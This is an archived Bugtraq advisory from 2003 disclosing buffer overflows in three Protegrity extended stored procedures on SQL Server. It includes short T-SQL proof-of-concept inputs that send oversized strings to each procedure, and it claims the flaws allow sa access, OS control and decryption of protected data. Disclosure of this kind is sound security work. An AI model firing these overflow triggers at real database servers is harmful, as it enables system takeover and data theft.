[29302] in bugtraq
Protegrity buffer overflow
daemon@ATHENA.MIT.EDU (sss sss)
Thu Mar 13 15:22:08 2003
Message-ID: <20030313184201.89554.qmail@web14603.mail.yahoo.com>
Date: Thu, 13 Mar 2003 10:42:01 -0800 (PST)
From: sss sss <protegritysecvuln@yahoo.com>
To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Additional details can be found at
http://www.kb.cert.org/vuls/id/247545
There is a company that does encryption of databases
called Protegrty. They use extended stored procedures
to do the encryption and decryption. I tested 3 of the
extended stored procedures and found all 3 vulnerable
to buffer overflows.
DECLARE @test varchar(8000)
SET @test = (SELECT replicate('x',1926))
execute master.dbo.xp_pty_checkusers 'as', @test
DECLARE @test varchar(8000)
SET @test = (SELECT replicate('x',850))
execute master.dbo.xp_pty_insert @test, @test, @test
DECLARE @test varchar(8000)
SET @test = (SELECT replicate('x',850))
execute master.dbo.xp_pty_select @test, @test, @test
These security holes are fully exploitable and would
allow an attacker to perform any of the following:
1)become sa on the box
2)gain control of the operating system
3)decrypt the sensitive data Protegrity is encrypting
If you have this software, contact the vendor for the
patch.
__________________________________________________
Do you Yahoo!?
Yahoo! Web Hosting - establish your business online
http://webhosting.yahoo.com